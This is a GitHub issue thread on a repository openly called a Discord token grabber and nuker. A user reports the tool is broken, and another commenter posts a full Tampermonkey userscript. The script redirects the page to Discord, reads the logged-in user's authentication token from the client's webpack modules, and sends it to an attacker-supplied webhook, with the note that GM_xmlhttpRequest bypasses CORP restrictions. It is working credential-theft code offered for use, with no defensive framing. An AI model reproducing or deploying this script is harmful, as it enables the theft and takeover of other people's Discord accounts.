endless7z / Discord-Token-Grabber

Token Grabber and Nuker
MIT License
2 stars 5 forks source link

Doesn't work. #3

Open SourCandy80 opened 1 year ago

SourCandy80 commented 1 year ago

Literally just doesn't work. No errors in console.

endless7z commented 11 months ago

https://github.com/Chaxiraxi/Discord-Token-Grabber

Might be because of this

youdie323323 commented 5 months ago

GM_xmlhttpRequest can bypass corp

// ==UserScript==
// @name         grabber
// @namespace    http://tampermonkey.net/
// @version      v1
// @description  grabber
// @author       _
// @match        *://discord.com/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=google.com
// @grant        GM_xmlhttpRequest
// ==/UserScript==

!function() {
    if (window.location.href !== "https://discord.com/channels/@me") {
        window.location.replace(
            "https://discord.com/channels/@me",
        );
        return
    }
    let m;
    GM_xmlhttpRequest({
        method: "POST",
        url: "YOUR_WEBHOOK_HERE",
        data: JSON.stringify({
            "embeds": [{
                "title": "Grabbed!",
                "description": "Token: " + (webpackChunkdiscord_app.push([[''], {}, e => { m = []; for (let c in e.c) m.push(e.c[c]) }]), m).find(m => { return m?.exports?.default?.getToken !== void 0 }).exports.default.getToken(),
            }]
        }),
        headers: {
            "Content-Type": "application/json"
        },
    });
}()